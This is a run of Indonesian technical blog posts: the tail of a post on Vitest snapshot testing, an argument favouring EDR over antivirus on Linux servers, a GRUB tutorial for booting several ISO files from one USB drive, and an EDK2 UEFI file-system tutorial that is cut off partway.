Khusus untuk tree-layout.test.ts, isinya agak berbeda karena saya menggunakan fasilitas snapshot test dari Vitest. Angka posisi X dan Y akan di-isi secara otomatis oleh Vitest pada saat pertama kali dijalankan. Sebagai contoh, pada awalnya saya hanya menulis toMatchInlineSnapshot() dan Vitest kemudian akan mengubahnya menjadi seperti toMatchInlineSnapshot('500'). Bila saya menjalankan test ini di kemudian hari dan nilai yang dihasilkan berbeda, maka test akan gagal. Bila nilai berubah dan saya tidak berniat mengubah layout, maka kemungkinan telah terjadi kesalahan yang tidak diduga.

Sampai dimana unit test harus dilakukan? Saya secara pribadi merasa minimal logika kode program harus dicakup (seperti perhitungan posisi, transformasi objek, dan sebagainya). Terlihat bahwa saya tidak menulis unit test untuk ui.ts. Hal ini karena kode program di file tersebut berhubungan dengan DOM dan objek HTML5 seperti Canvas yang hanya tersedia di browser. Bila ada waktu lebih atau ada sumber daya test engineer yang bisa dipakai, saya bisa menggunakan jsdom untuk mensimulasikan DOM & Canvas. Atau, boleh juga langsung ke pengujian UI secara otomatis masuk ke kategori integration testing yang bisa dilakukan dengan bantuan tool seperti Plywright.

Bahkan setelah membuat unit test, tidak ada jaminan aplikasi bebas dari bug sehingga pengujian di staging tetap merupakan ide bagus. Sebagai contoh, pada awalnya saya menyertakan Monaco Editor sebagai dependency di package.json. Karena Monaco Editor menggunakan web worker dan Vite mendukung web worker lewat import, saya bisa memakainya dengan kode program seperti berikut ini:

import {editor} from 'monaco-editor';
import EditorWorker from 'monaco-editor/esm/vs/editor/editor.worker?worker';
import JSONWorker from 'monaco-editor/esm/vs/language/json/json.worker?worker';
import CSSWorker from 'monaco-editor/esm/vs/language/css/css.worker?worker';
import HTMLWorker from 'monaco-editor/esm/vs/language/html/html.worker?worker';
import TSWorker from 'monaco-editor/esm/vs/language/typescript/ts.worker?worker';
...
editor.create(editorContainerElement, {
    language: 'typescript',
    automaticLayout: true,
});

Halaman terlihat baik dan bisa bekerja dengan lancar di browser bila aplikasi dijalankan di dev dengan perintah npm run dev. Namun, siapa sangka setelah di-build ke production dengan npm run build && npm run preview, tampilan Monaco Editor jadi berantakan. Ini mungkin adalah bug di Vite, namun ini adalah contoh dimana hal-hal tidak terduga selalu bisa terjadi di software engineering.

Apakah Server Linux Perlu Antivirus?

Tue, 17 Sep 2024 00:00:00 GMT

Salah satu pertanyaaan yang sering saya alami adalah apakah harus menginstall antivirus pada server Linux seperti Ubuntu? Saya akan membatasi definisi server Linux disini sebagai application server atau database server yang tidak dipakai secara interaktif (bukan server yang dipakai untuk login sehari-hari seperti bastion server). Apa yang harus dipertimbangkan oleh policy maker di sebuah organisasi sebelum membuat policy terkait pertanyaan ini?

… the only thing worse than being penetrated is being penetrated and not knowing about it…

Berdasarkan kutipan di atas, detection merupakan hal penting. Setidaknya bila organisasi tidak berhasil mempertahankan sistem dari serangan cyber, detection yang tepat akan memberi tahu hal buruk telah terjadi. Oleh sebab itu, setiap server kritis termasuk application server dan database server harus memiliki detection.

Secara garis besar, ada dua jenis kategori tool untuk detection:

Deteksi berdasarkan signature. Pada metode ini, tool akan mencari file atau program berdasarkan database malware yang ia miliki. Kelemahan metode ini adalah ia hanya bisa mendeteksi malware yang sudah dikenali sebelumnya (yang sudah ada di dalam database-nya). Metode ini akan sulit mendeteksi zero-day exploit.
Deteksi berdasarkan behavior (perilaku). Pada metode ini, bila sistem memiliki perilaku tidak seperti yang seharusnya, maka sesuatu yang buruk mungkin telah terjadi. Sebagai contoh, behavior yang dideteksi bisa berupa upaya login ke server lain disekitarnya, penggunaan disk yang tidak wajar, dan sebagainya. Karena tidak terbatas pada file dan proses, metode ini bisa mendeteksi serangan seperti Living of the Land (LOTL), internal threat actor, dan sebagainya. Kelemahan metode ini adalah banyak false positives karena metode ini kadang sulit membedakan antara perilaku buruk dari hacker, malware dan pengguna yang sah.

Antivirus termasuk pada kategori tool yang melakukan deteksi berdasarkan signature. Sebagai contoh, ClamAV adalah antivirus Linux yang populer. ClamAV melakukan deteksi berdasarkan signature dalam bentuk hash, regex atau YARA. Antivirus biasanya secara periodik akan men-scan file di server sehingga menimbulkan beban kinerja tersendiri. Selain itu, bila file yang dibutuhkan oleh aplikasi/database sedang dibaca oleh antivirus, aplikasi/database bisa jadi gagal menulis ke file yang bisa menyebabkan ia tiba-tiba lambat atau gagal hanya pada saat tersebut.

Salah satu kelebihan antivirus adalah deteksinya yang lumayan akurat sehingga proses remediasi bisa dilakukan secara langsung dengan menghapus file bersangkutan. Namun, kadang false positives tidak dapat dihindari. Bagaimana bila data yang disimpan oleh database server secara tidak sengaja cocok dengan signature antivirus? Bagaimana file salah satu file JAR di application server terdeteksi sebagai virus? Menghapus file yang salah secara otomatis dapat menyebabkan database corrupt dan aplikasi error!

Walaupun tidak spesifik untuk Linux, Microsoft memiliki artikel yang berisi rekomendasi konfigurasi antivirus untuk dipakai bersama SQL Server. Artikel tersebut merekomendasikan untuk men-exclude proses milik database dari antivirus. Begitu juga dengan file milik database termasuk folder temporary milik database disarankan untuk tidak di-scan oleh antivirus.

Apakah antivirus layak dipertahankan bila dibandingkan dengan seberapa statis kondisi file di database server atau application server? Setelah aplikasi di-deploy di server, tidak akan ada banyak perubahan file karena programmer tidak akan menyentuh production server sehari-hari. Proses deployment pun biasanya dilakukan secara otomatis oleh tool CI/CD. Bila tidak ada proses deployment atau update sistem operasi yang berlangsung dan tiba-tiba ada banyak file baru yang muncul, boleh dibilang ini adalah indikator untuk memulai investigasi (tidak ada peran antivirus disini!).

Sementara itu, karena database server dan application server hanya membuka port layanan mereka untuk di-akses server lain, maka attack surface-nya sangat terbatas. Bila SSH sudah ditutup, kemungkinan besar exploit datang-nya hanya dari port seperti 3306 untuk MySQL dan 80 untuk web server. Dengan konfigurasi yang tepat, database atau aplikasi hanya jalan di user dengan hak akses yang sangat terbatas. Bila terdapat exploit, kemungkinan besar yang dihinggapi adalah proses milik database atau aplikasi. Exploit yang berhasil menulis file biasanya hanya bisa menulis di folder temporary (kecuali exploit bisa dijalankan sebagai user lain atau root). Namun bila mengikuti rekomendasi di atas, karena proses dan file milik database di-exclude (termasuk folder temporary), maka exploit seperti ini tidak akan terdeteksi oleh antivirus!

Berdasarkan kondisi di atas, saya merasa bahwa peran antivirus sangat minimal di server Linux. Sebagai gantinya, tool yang lebih tepat dipakai adalah tool yang melakukan deteksi berdasarkan behavior seperti Endpoint Detection and Response (EDR) dan Security Information and Event Management (SIEM). Pada sistem operasi Linux, EDR biasanya menggunakan eBPF atau audit log untuk menganalisa behavior. Karena eBPF memang di-optimal-kan untuk monitoring, dampaknya akan lebih sedikit dibandingkan dengan antivirus yang men-scan setiap operasi baca tulis ke file.

Kelebihan lain penggunaan EDR dibandingkan antivirus adalah:

Antivirus hanya mendeteksi malware (seperti virus) sementara EDR mampu mendeteksi aktifitas berbahaya yang bukan hanya datang dari virus (misalnya dari internal threat actor).
Antivirus pada umumnya akurat mendeteksi dan membersihkan malware. Bila terjadi insiden di kemudian hari dan antivirus tidak mendeteksi malware di server selama sebulan terakhir, apakah server memang aman? Belum tentu! Namun, log EDR selama sebulan terakhir dapat memberikan kesimpulan apakah server berperilaku aneh dan terlibat dalam insiden keamanan tersebut atau tidak.

Bila seandainya penggunaan EDR gratis seperti Elastic Security dan Wazuh masih tidak memungkinkan, server Linux relatif aman dijalankan tanpa antivirus asalkan sudah melakukan hardening seperti konfigurasi firewall secara tepat, update secara berkala, mematikan service yang tidak dibutuh dan sebagainya. Bila server Linux ini adalah node Kubernetes, container runtime security seperti Tracee yang dijalankan sebagai DaemonSet tanpa di-install pada server secara langsung juga merupakan alternatif yang baik untuk detection.

Lalu, bagaimana penggunaan antivirus bila dilihat dari sisi compliance? Sebagai contoh, PCI DSS memiliki Requirement 5.2.3 dengan isi seperti berikut ini:

Any system components that are not at risk for malware are evaluated periodically to include the following:

A documented list of all system components not at risk for malware.

Identification and evaluation of evolving malware threats for those system components.

Confirmation whether such system components continue to not require anti-malware protection.

Item di-atas memungkinkan organisasi untuk mendeklarasikan server Linux yang tidak memiliki antivirus sebagai “not commonly affected by malicious software” dengan syarat evaluasi periodik dilakukan untuk memastikan bahwa antivirus masih tetap tidak dibutuhkan. Ini adalah kesempatan bagi organisasi untuk mempertimbangkan cost-benefit tradeoffs penggunaan antivirus.

Boot File ISO dari USB Flash Drive Dengan GRUB

Sat, 31 Aug 2024 00:00:00 GMT

Distro Linux biasanya mendukung fasilitas live boot dari USB Flash Drive. Namun, bila menggunakan installer bawaan, sebuah USB Flash Drive hanya bisa untuk satu distro saja. Penggunaan media penyimpanan akan lebih efisien bila saya dapat meletakkan beberapa file ISO untuk distro Linux yang berbeda ke USB Flash Drive yang sama. Bagaimana caranya supaya saya dapat meletakkan beberapa file ISO di USB Flash Drive tersebut dan memilih file ISO untuk dijalankan saat komputer dinyalakan? Pada tulisan ini, saya akan mencoba menerapkan solusi dengan menggunakan GRUB. Karena GRUB adalah bootstrap loader yang sudah dipakai di Ubuntu, saya tidak perlu meng-install aplikasi pihak ketiga lagi.

Instalasi GRUB

Karena menggunakan UEFI, saya akan mulai dengan men-format USB Flash Drive dengan menggunakan GUID Partition Table (GPT). Setelah itu, saya akan membuat dua partisi yang isinya seperti berikut ini:

Partisi FAT32 dengan tipe EFI File System (ESP) dengan ukuran 512 MB. Ini adalah partisi yang wajib ada supaya USB Flash Drive ini dapat dikenali oleh UEFI. Saya akan men-install GRUB di partisi ini. Partisi ini akan dirujuk sebagai /dev/sdb1 pada tulisan ini.
Partisi Ext4 untuk sisa ruang yang ada. Saya akan meletakkan seluruh file ISO di partisi ini. Partisi ini akan dirujuk sebagai /dev/sdb2 pada tulisan ini.

Sebagai contoh, pada USB Flash Drive 32 GB yang saya pakai, layout partisi-nya akan terlihat seperti pada gambar berikut ini:

Sebelum memulai instalasi GRUB, saya perlu men-mount partisi /dev/sdb1 dengan menggunakan perintah seperti berikut ini:

Terminal window

$ mkdir esp
$ mount /dev/sdb1 esp

Setelah itu, saya bisa melakukan instalasi GRUB dengan memberikan perintah berikut ini:

Terminal window

$ grub-install --target=x86_64-efi --efi-directory=esp --removable

Perintah di atas akan membuat file baru di partisi /dev/sdb1 dengan struktur seperti berikut ini:

Sampai disini, saya dapat memakai USB Flash Drive tersebut dengan memilih boot device berupa USB Flash Drive di menu BIOS. Ini akan menjalankan shell GRUB seperti yang terlihat pada gambar berikut ini:

Karena belum ada sistem operasi di USB Flash Drive, saat ini tidak ada yang bisa dilakukan oleh GRUB.

Live ISO Linux

Sebagai latihan, saya menambahkan beberapa file ISO di /dev/sdb2 sehingga terlihat seperti berikut ini:

Salah satu alasan mengapa saya membuat partisi baru /dev/sdb2 adalah keterbatasan ukuran file maksimal di file system FAT32 yang dipakai di /dev/sdb1. Pada FAT32, ukuran sebuah file tidak bisa lebih besar dari 4 GB. Sementara itu, ukuran file ISO ada yang lebih dari 4 GB (misalnya Kali Linux dengan ukuran 4,6 GB dan Ubuntu Desktop installer dengan ukuran 5 GB).

Setelah ini, saya perlu menambahkan konfigurasi GRUB dengan mengubah file /EFI/BOOT/grub.cfg di /dev/sdb1. Sebagai contoh, untuk menampilkan menu untuk memilih ISO Kali Linux, saya akan menambahkan baris konfigurasi seperti berikut ini:

grub.cfg

function load_iso {
  search.fs_uuid 1234-5678-9012-1234 root
  loopback loop ${1}
  set root=(loop)
  set iso_path=${1}
  export iso_path
}

menuentry "Kali Linux" {
  load_iso "/kali-linux-2024.2-live-amd64.iso"
  configfile /boot/grub/grub.cfg
}

Pada konfigurasi di atas, saya mendeklarasikan sebuah function baru dengan nama load_iso. Function ini akan menggunakan search.fs_uuid untuk mencari partisi yang berisi file ISO (yang seharusnya adalah /dev/sdb2) berdasarkan GUID. Karena nilai GUID selalu unik, saya perlu mengganti nilai ini sesuai dengan nilai GUID untuk partisi /dev/sdb2. Setelah itu, saya menggunakan loopback untuk membuat sebuah device baru berdasarkan file ISO yang diberikan. Karena nama file ISO adalah argumen dari function ini, saya menggunakan ${1} sebagai lokasi file image. Saya juga mengganti nilai variabel root menjadi (loop) sehingga setiap operasi file secara default akan dilakukan pada device dari file image ini. Terakhir, saya membuat sebuah variabel iso_path yang umum dipakai untuk memberi tahu lokasi file ISO kepada kernel sistem operasi.

Untuk membuat menu baru di GRUB, saya perlu menggunakan menuentry. Sebagai contoh, pada konfigurasi di atas, saya akan memperoleh sebuah baris menu dengan tulisan Kali Linux seperti yang terlihat pada gambar berikut ini:

Bila saya men-mount file ISO kali-linux-2024.2-live-amd64.iso, saya akan menemukan file konfigurasi GRUB yang dipakai oleh distro tersebut di /boot/grub/grub.cfg. Pada file ini, saya akan menemukan pemanggilan kernel Linux dengan boot parameter seperti findiso=${iso_path}. Hal ini berarti konfigurasi tersebut sudah mendukung boot dari file ISO asalkan saya mendefinisikan nama file ISO di variabel iso_path. Dengan demikian, saya bisa menggunakan configfile untuk memanggil GRUB bawaan Kali Linux.

Hasilnya adalah bila menu Kali Linux dipilih, saya akan menemukan menu GRUB bawaan distro tersebut seperti yang terlihat pada gambar berikut ini:

Berikutnya, saya akan mendefinisikan menuentry untuk distro Tails. Bila saya men-mount file ISO tails-amd64-6.6.iso, saya akan menemukan file konfigurasi GRUB di /EFI/debian/grub.cfg. Pada distro ini, saya tidak menemukan boot parameter findiso di file konfigurasi GRUB-nya. Oleh sebab itu, saya akan menyalin definisi menuentry bawaan distro di /EFI/debian/grub.cfg dan menambahkan findiso secara manual seperti yang terlihat pada konfigurasi berikut ini:

grub.cfg

menuentry "Tails" {
  set isofile="/tails-amd64-6.6.iso"
  load_iso "${isofile}"
  echo "Loading the Linux kernel..."
  linux /live/vmlinuz initrd=/live/initrd.img boot=live config live-media=removable nopersistence noprompt timezone=Etc/UTC splash noautologin module=Tails slab_nomerge slub_debug=FZ mce=0 vsyscall=none init_on_free=1 mds=full,nosmt page_alloc.shuffle=1 randomize_kstack_offset=on spec_store_bypass_disable=on findiso=${isofile} quiet
  echo "Loading the initramfs..."
  initrd /live/initrd.img
  echo "Booting..."
  boot
}

Untuk distro Ubuntu 22, bila saya men-mount file ISO-nya, saya akan menemukan dua file konfigurasi GRUB dengan nama /boot/grub/grub.cfg dan /boot/grub/loopback.cfg. Distro tersebut sudah menyediakan file konfigurasi /boot/grub/loopback.cfg khusus untuk boot lewat file ISO. Dengan demikian, saya hanya perlu mendeklarasikan menuentry baru seperti berikut ini:

grub.cfg

menuentry "Ubuntu 22" {
  load_iso "/ubuntu-22.04.3-desktop-amd64.iso"
  configfile /boot/grub/loopback.cfg
}

Saya juga menemukan hal serupa di distro SystemRescue CD. Distro ini menyertakan file /boot/grub/loopback.cfg di file ISO-nya. Namun, saya menemukan masalah saat menjalankan file konfigurasi-nya. Hal ini karena konfigurasi GRUB yang dipakai oleh SystemRescue CD menggunakan perintah eval yang tidak didukung oleh instalasi GRUB secara default (di sistem operasi Ubuntu yang saya pakai). Perintah eval ini disediakan oleh sebuah module GRUB. Untuk memakai module tersebut, saya akan menyalin file eval.mod ke lokasi /EFI/BOOT di partisi /dev/sdb1 (misalnya dari /boot/grub/x86_64-efi/eval.mod) sehingga sekarang struktur file-nya akan terlihat seperti berikut ini:

Setelah itu, saya akan menambahkan baris berikut ini pada file konfigurasi GRUB:

grub.cfg

menuentry "SystemRescue CD" {
  insmod /EFI/BOOT/eval.mod
  load_iso "/systemrescue-11.01-amd64.iso"
  configfile /boot/grub/loopback.cfg
}

Pada konfigurasi di atas, saya menggunakan insmod untuk mengaktifkan modul eval sehingga konfigurasi GRUB milik SystemRescue CD bisa dikerjakan dengan baik.

Sebagai hasil akhirnya, saya kini memiliki menu untuk mengerjakan masing-masing distro Linux (dalam bentuk file ISO) seperti yang terlihat pada gambar berikut ini:

Windows Installer

Sistem operasi Windows juga menyediakan installer dalam bentuk file ISO. Cara yang direkomendasikan oleh Microsoft adalah menyalin ISO ini ke USB Flash Drive dengan menggunakan media creation tool. Namun, tanpa menggunakan tool tersebut, sebenarnya saya juga bisa men-extract file ISO ke sebuah partisi NTFS dan menjalankan installer langsung dari UEFI.

Selain itu, GRUB juga bisa mengerjakan EFI-nya Windows installer. Ini lebih baik daripada menjalankannya langsung dari UEFI karena tidak seluruh perangkat keras dilengkapi dukungan NTFS. Sementara itu, GRUB yang saya install sudah pasti dapat membaca file system NTFS.

Walaupun GRUB sebagai bootstrap loader dapat membaca isi file ISO, setelah kernel sistem operasi dijalankan, GRUB akan “lenyap” dan merupakan tanggung jawab sistem operasi untuk mencari file yang dibutuhkannya. Beberapa kernel Linux mendukung file ISO melalui boot parameter seperti findiso (Debian) dan imgloop (Arch Linux). Untuk sistem operasi Windows sendiri, tidak ada dukungan membaca file ISO sehingga walaupun saya bisa menjalankan file EFI dari dalam ISO, saya akan menemukan pesan kesalahan seperti pada gambar berikut ini:

Sebagai solusinya, saya akan membuat sebuah partisi NTFS baru dan menyalin seluruh isi file ISO ke dalam partisi tersebut.

Setelah itu, saya akan menambahkan baris berikut ini pada file konfigurasi GRUB:

grub.cfg

menuentry "Windows Installer" {
  search.fs_uuid 123456789 root
  chainloader "/efi/boot/bootx64.efi"
  boot
}

Pada konfigurasi di atas, saya perlu menggunakan GUID di search.fs_uuid dengan GUID partisi NTFS yang saya buat sebelumnya. Perintah chainloader akan mengerjakan file EFI milik installer Windows di partisi tersebut. Dengan konfigurasi GRUB di atas, perangkat keras dengan UEFI tanpa dukungan file system NTFS kini tetap bisa menjalankan installer Windows.

Memakai Simple File System Protocol di UEFI

Sat, 10 Aug 2024 00:00:00 GMT

Pada UEFI, setiap layanan yang disediakan dikelompokkan dalam apa yang disebut sebagai protocol. Untuk membaca dan menulis file pada partisi dengan file system yang didukung oleh UEFI, saya dapat menggunakan Simple File System Protocol. Bila partisi menggunakan file system yang tidak didukung secara bawaan atau saya ingin mengakses sektor (bukan dalam abstraksi file), saya dapat menggunakan Disk I/O Protocol. Bila ingin sesuatu yang lebih low level lagi, terdapat ATA Pass Thru Protocol untuk memberikan perintah ATA langsung ke perangkat keras media penyimpanan. Pada tulisan ini saya akan mencoba mengakses partisi dengan menggunakan Simple File System Protocol.

File System

Secara fisik, media penyimpanan sebenarnya hanya mendukung akses seperti LBA dalam bentuk sektor. Sektor pertama diakses dengan LBA 0, sektor kedua diakses lewat LBA 1, dan seterusnya. Sistem operasi menggunakan file system untuk melakukan translasi konsep yang lebih mudah dimengerti seperti file, folder dan permission ke alamat LBA. Pengguna sistem operasi tidak perlu tahu konsep sector atau alamat LBA untuk menyimpan atau membaca file karena data dikelompokkan berdasarkan nama yang mudah dimengerti.

Sistem operasi Windows menggunakan file sytem NTFS dan FAT32. Sementara itu, sistem operasi Linux menggunakan file system ext4. Masing-masing file system memiliki kelebihan dan kekurangannya. Sebagai contoh, FAT32 merupakan file system yang paling mudah dibuat implementasinya. FAT dibuat oleh Bill Gates yang terkenal dengan kutipan “I wrote FAT on an airplane”. NTFS dan ext4 menawarkan fitur yang lebih banyak dibandingkan FAT seperti dukungan ukuran file yang lebih besar, permission, dan sebagainya.

Pada era BIOS, pembuat bootstrap loader harus mencari cara untuk membaca file dari media penyimpanan dengan menyertakan kode file system yang minimal. UEFI membuat hal ini lebih sederhana dengan menyediakan dukungan file system FAT (FAT12, FAT16, dan FAT32) secara bawaan. Kode program yang ingin membaca dan menulis file di partisi dengan file system FAT cukup memanggil Simple File System Protocol yang disediakan oleh UEFI.

Mendapatkan Daftar Partisi

Karena setiap PC bisa memiliki jumlah perangkat penyimpan dan partisi yang berbeda, langkah pertama yang perlu saya lakukan adalah mendapatkan daftar Simple File System Protocol yang tersedia. Untuk itu, saya dapat menggunakan LocateHandleBuffer() dari boot service. EDK2 sudah menyediakan variabel global gBS untuk boot service dan gRT untuk runtime service. Saya hanya perlu menyertakan header Library/UefiBootServicesTableLib.h. Sebagai latihan, saya akan memanggil LocateHandleBuffer() seperti pada contoh kode program berikut ini:

SimpleFileSystem.c

#include <Uefi.h>
#include <Library/UefiLib.h>
#include <Library/UefiBootServicesTableLib.h>

EFI_STATUS EFIAPI UefiMain(IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable) {
    EFI_STATUS Status;
    UINTN HandlesSize;
    EFI_HANDLE* Handles = NULL;

    Status = gBS->LocateHandleBuffer(ByProtocol, &gEfiSimpleFileSystemProtocolGuid, NULL, &HandlesSize, &Handles);
    if (EFI_ERROR(Status)) {
        Print(L"Gagal mencari handle untuk Simple File System Protocol: %r\n", Status);
        return EFI_LOAD_ERROR;
    }
    Print(L"Menenemukan %d partisi yang didukung\n", HandlesSize);

    return EFI_SUCCESS;
}

Kode program di atas menggunakan boot service LocateHandleBuffer untuk mendapatkan daftar handle untuk protocol tertentu dalam bentuk array. Metode pencarian yang dipakai adalah ByProtocol untuk mencari seluruh handle untuk protokol gEfiSimpleFileSystemProtocolGuid (Simple File System Protoocol). Bila pada PC terdapat dua hardisk dimana masing-masing harddisk memiliki satu partisi yang didukung oleh UEFI, maka kode program di atas akan mendapatkan 2 handle ke Simple File System Protocol.

Walaupun kode program di atas bisa dijalankan tanpa kesalahan, pada EDK2, bila sebuah komponen menggunakan protocol, sebaiknya protocol yang dipakai ditambahkan pada file INF di bagian [Protocols] untuk mempermudah deteksi kesalahan. Sebagai contoh, karena kode program di atas memakai Simple File System Protocol, saya akan menambahkan baris berikut ini pada file INF:

SimpleFileSystem.inf

...
[Protocols]
    gEfiSimpleFileSystemProtocolGuid

Setelah mendapatkan handle dengan LocateHandleBuffer, langkah berikutnya adalah menggunakan HandleProtocol untuk mendapatkan interface yang bisa digunakan untuk mengakses protocol. Sebagai contoh, saya akan menambahkan kode program berikut ini:

SimpleFileSystem.c

#include <Uefi.h>
#include <Library/UefiLib.h>
#include <Library/UefiBootServicesTableLib.h>

EFI_STATUS EFIAPI UefiMain(IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable) {
    EFI_STATUS Status;
    UINTN HandlesSize;
    EFI_HANDLE* Handles = NULL;
    UINTN Index;

    Status = gBS->LocateHandleBuffer(ByProtocol, &gEfiSimpleFileSystemProtocolGuid, NULL, &HandlesSize, &Handles);
    if (EFI_ERROR(Status)) {
        Print(L"Gagal mencari handle untuk Simple File System Protocol: %r\n", Status);
        return EFI_LOAD_ERROR;
    }

    Print(L"Menenemukan %d partisi yang didukung\n", HandlesSize);
    for(Index = 0; Index < HandlesSize; Index++) {
        EFI_SIMPLE_FILE_SYSTEM_PROTOCOL* SimpleFileSystem = NULL;
        Status = gBS->HandleProtocol(Handles[Index], &gEfiSimpleFileSystemProtocolGuid, (void**) &SimpleFileSystem);
        if (EFI_ERROR(Status)) {
            Print(L"Gagal mendapatkan protokol untuk handle %d: %r\n", Index, Status);
            continue;
        }
    }

    return EFI_SUCCESS;
}

Sekarang, saya sudah mendapatkan sebuah EFI_SIMPLE_FILE_SYSTEM_PROTOCOL untuk setiap partisi di media penyimpanan yang ada di PC. Berdasarkan dokumentasi UEFI, Simple File System Protocol hanya memiliki sebuah function dengan nama OpenVolume. Saya dapat menggunakan function ini untuk mendapatkan sebuah interface ke EFI_FILE_PROTOCOL. Sebagai contoh, saya akan menambahkan program berikut ini:

SimpleFileSystem.c

#include <Uefi.h>
#include <Library/UefiLib.h>
#include <Library/UefiBootServicesTableLib.h>

static VOID InspectVolume(EFI_SIMPLE_FILE_SYSTEM_PROTOCOL* SimpleFileSystem) {
    EFI_FILE_PROTOCOL* Root = NULL;
    EFI_STATUS Status;
    Status = SimpleFileSystem->OpenVolume(SimpleFileSystem, &Root);
    if (EFI_ERROR(Status)) {
        Print(L"Gagal membuka volume: %r\n", Status);
        return;
    }
}

EFI_STATUS EFIAPI UefiMain(IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable) {
    EFI_STATUS Status;
    UINTN HandlesSize;
    EFI_HANDLE* Handles = NULL;
    UINTN Index;

    Status = gBS->LocateHandleBuffer(ByProtocol, &gEfiSimpleFileSystemProtocolGuid, NULL, &HandlesSize, &Handles);
    if (EFI_ERROR(Status)) {
        Print(L"Gagal mencari handle untuk Simple File System Protocol: %r\n", Status);
        return EFI_LOAD_ERROR;
    }

    Print(L"Menenemukan %d partisi yang didukung\n", HandlesSize);
    for(Index = 0; Index < HandlesSize; Index++) {
        EFI_SIMPLE_FILE_SYSTEM_PROTOCOL* SimpleFileSystem = NULL;
        Status = gBS->HandleProtocol(Handles[Index], &gEfiSimpleFileSystemProtocolGuid, (void**) &SimpleFileSystem);
        if (EFI_ERROR(Status)) {
            Print(L"Gagal mendapatkan protokol untuk handle %d: %r\n", Index, Status);
            continue;
        }
        InspectVolume(SimpleFileSystem);
    }

    return EFI_SUCCESS;
}

Pada kode program di atas, saya mendapatkan EFI_FILE_PROTOCOL dengan nama Root. Selanjutnya, saya bisa menggunakan Root untuk mendapatkan EFI_FILE_PROTOCOL lain yang mewakili file dan folder yang akan dipakai. Saya kemudian bisa melakukan operasi pada EFI_FILE_PROTOCOL tersebut seperti membaca, membuat dan menghapus file.

Melihat Informasi Partisi

Khusus untuk Root, saya dapat memanggil GetInfo() untuk mendapatkan informasi file system seperti label partisi, ukuran partisi dan ruang kosong pada partisi. Untuk itu, saya bisa membuat kode program seperti berikut ini:

SimpleFileSystem.c

#include <Uefi.h>
#include <Library/UefiLib.h>
#include <Library/UefiBootServicesTableLib.h>
#include <Library/MemoryAllocationLib.h>
#include <Guid/FileSystemInfo.h>

static VOID InspectVolume(EFI_SIMPLE_FILE_SYSTEM_PROTOCOL* SimpleFileSystem) {
    EFI_FILE_PROTOCOL* Root = NULL;
    EFI_STATUS Status;
    Status = SimpleFileSystem->OpenVolume(SimpleFileSystem, &Root);
    if (EFI_ERROR(Status)) {
        Print(L"Gagal membuka volume: %r\n", Status);
        return;
    }

    EFI_FILE_SYSTEM_INFO* FileSystemInfo = NULL;
    UINTN FileSystemInfoSize = 1024;
    FileSystemInfo = (EFI_FILE_SYSTEM_INFO*) AllocateZeroPool(FileSystemInfoSize);
    Status = Root->GetInfo(Root, &gEfiFileSystemInfoGuid, &FileSystemInfoSize, FileSystemInfo);
    if (EFI_ERROR(Status)) {
        Print(L"Gagal mendapatkan informasi partisi: %r\n", Status);
        goto Exit;
    }
    Print(L"Volume Label    : %s\n", FileSystemInfo->VolumeLabel);
    Print(L"Volume Size (GB): %d\n", FileSystemInfo->VolumeSize / (1024 * 1024 * 1024));
    Print(L"Free Space (GB) : %d\n", FileSystemInfo->FreeSpace / (1024 * 1024 * 1024));
    Print(L"\n");

Exit:
    if (FileSystemInfo != NULL) {
        FreePool(FileSystemInfo);
    }
}
...

Sama seperti protocol yang didefinisikan di file EFI, saya juga perlu menambahkan setiap GUID yang saya pakai ke file INF. Sebagai contoh, karena kode program di atas menggunakan gEfiFileSystemInfoGuid, saya akan menambahkan baris berikut ini pada file INF:

SimpleFileSystem.inf

....
[Guids]
    gEfiFileSystemInfoGuid

Membuat File Baru

Untuk membuat file baru, saya dapat menggunakan function Open() untuk mendapatkan EFI_FILE_PROTOCOL baru dengan nama dan lokasi sesuai dengan yang telah ditentukan. Setelah itu, saya akan menggunakan function Write() untuk menulis isi file dan tidak lupa memanggil Close() untuk menyimpan perubahan. Sebagai contoh, saya akan membuat kode program seperti berikut ini:

SimpleFileSystem.c

...
EFI_FILE_PROTOCOL* ReadmeFile = NULL;
CHAR8* Content = "File ini dibuat langsung dari UEFI tanpa lewat OS!\n";
UINTN ContentSize = AsciiStrLen(Content);
Status = Root->Open(
        Root,
        &ReadmeFile,
        L"readme.txt",
        EFI_FILE_MODE_CREATE | EFI_FILE_MODE_READ | EFI_FILE_MODE_WRITE,
        0
);
if (EFI_ERROR(Status)) {
    Print(L"Gagal membuat file: %r\n", Status);
    goto Exit;
}
Status = ReadmeFile->Write(ReadmeFile, &ContentSize, (CHAR8*) Content);
if (EFI_ERROR(Status)) {
    Print(L"Gagal menulis ke file: %r\n", Status);
    ReadmeFile->Close(ReadmeFile);
    goto Exit;
}
ReadmeFile->Close(ReadmeFile);
...

Kode program di atas akan membuat sebuah file baru di partisi dengan nama readme.txt dengan isi seperti File ini dibuat langsung dari UEFI tanpa lewat OS!. Untuk menulis isi file per byte dalam bentuk ASCII sehingga lebih mudah ditampilkan oleh teks editor, saya menggunakan CHAR8* dan bukan CHAR16* seperti biasanya yang dipakai di UEFI. Library string yang disediakan oleh EDK2 seperti StrLen() mengharapkan input dalam bentuk CHAR16*. Bila ingin bekerja dengan CHAR8*, saya perlu menggunakan function yang diawali dengan Ascii seperti AsciiStrLen().

Untuk kode yang lebih singkat, saya juga dapat menggunakan library FileHandleLib yang telah disediakan oleh EDK2. Namun sebelumnya, saya perlu menambahkan baris berikut ini pada file DSC:

MyAppPkg.dsc

[LibraryClasses]
  ...
  FileHandleLib|MdePkg/Library/UefiFileHandleLib/UefiFileHandleLib.inf

Saya juga perlu menambahkan baris ini pada file INF untuk aplikasi:

SimpleFileSystem.inf

[LibraryClasses]
  ...
  FileHandleLib

Sekarang, saya dapat mengubah kode program menjadi seperti berikut ini:

SimpleFileSystem.c

...
EFI_FILE_PROTOCOL* ReadmeFile = NULL;
Status = Root->Open(
        Root,
        &ReadmeFile,
        L"readme.txt",
        EFI_FILE_MODE_CREATE | EFI_FILE_MODE_READ | EFI_FILE_MODE_WRITE,
        0
);
if (EFI_ERROR(Status)) {
    Print(L"Gagal membuat file: %r\n", Status);
    goto Exit;
}
Status = FileHandlePrintLine(ReadmeFile, L"File ini dibuat langsung dari UEFI tanpa lewat OS!");
if (EFI_ERROR(Status)) {
    Print(L"Gagal menulis ke file: %r\n", Status);
    FileHandleClose(ReadmeFile);
    goto Exit;
}
FileHandleClose(ReadmeFile);
...

Membaca File

